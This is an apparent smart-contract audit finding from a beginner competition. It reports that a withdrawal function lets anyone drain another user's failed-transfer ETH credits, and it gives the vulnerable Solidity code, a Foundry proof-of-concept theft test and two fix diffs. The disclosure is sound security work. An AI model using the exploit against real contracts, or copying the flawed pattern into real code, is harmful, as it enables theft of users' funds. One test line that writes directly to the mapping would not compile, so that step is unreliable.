Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Critical Bug in `withdrawAllFailedCredits()` - Wrong Address Used

pxlvre

High: Anyone Can Steal Failed Transfer Credits

Description

  • The withdrawAllFailedCredits() function allows users to withdraw ETH that failed to transfer to them during normal operations, implementing a pull-over-push pattern for safety.

  • The function incorrectly uses msg.sender instead of _receiver when resetting the credits balance to zero, allowing attackers to steal any user's accumulated failed credits.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver]; // @> Reads credits from _receiver
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0; // @> BUG: Resets msg.sender's credits, not _receiver's
(bool success, ) = payable(msg.sender).call{value: amount}(""); // @> Sends _receiver's credits to msg.sender
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • Occurs when any user has accumulated failed transfer credits from refunded bids or seller proceeds

  • Happens when an attacker monitors the failedTransferCredits mapping for non-zero balances

Impact:

  • Complete theft of all failed transfer credits from any user

  • Victim's credits remain unchanged in storage while attacker receives the ETH

  • Victim cannot withdraw their own credits after theft (balance shows as non-zero but contract lacks funds)

Proof of Concept

The following test demonstrates how an attacker can steal another user's failed transfer credits. The vulnerability exists because the function reads the credit amount from the _receiver parameter but resets msg.sender's balance to zero instead. This mismatch allows anyone to withdraw another user's credits while leaving the victim's balance unchanged in storage.

function test_StealFailedCredits() public {
// 1. Setup: Create a scenario where victim has failed credits
address victim = address(0x123);
address attacker = address(0x456);
// Simulate failed transfer to victim (e.g., from a failed bid refund)
// This would occur if victim is a contract that rejects ETH
vm.deal(address(market), 10 ether);
vm.prank(address(market));
market.failedTransferCredits[victim] = 10 ether;
// 2. Verify initial state
assertEq(market.failedTransferCredits(victim), 10 ether);
assertEq(market.failedTransferCredits(attacker), 0);
assertEq(attacker.balance, 0);
// 3. Attacker exploits the bug
vm.prank(attacker);
market.withdrawAllFailedCredits(victim); // Pass victim's address
// 4. Verify exploitation result
assertEq(attacker.balance, 10 ether); // Attacker received the funds
assertEq(market.failedTransferCredits(victim), 10 ether); // Victim's balance unchanged
assertEq(market.failedTransferCredits(attacker), 0); // Attacker's balance reset (was already 0)
// 5. Victim cannot withdraw their credits anymore
vm.prank(victim);
vm.expectRevert(); // Will revert due to insufficient contract balance
market.withdrawAllFailedCredits(victim);
}

Recommended Mitigation

The fix requires ensuring consistency between the address used for reading the credit balance and the address used for resetting it to zero. Additionally, the funds should be sent to the correct recipient. The function should either allow users to withdraw only their own credits (using msg.sender throughout) or properly implement admin withdrawal functionality.

Option 1: Users can only withdraw their own credits (Recommended)

- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Option 2: Fix the current implementation to work correctly

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.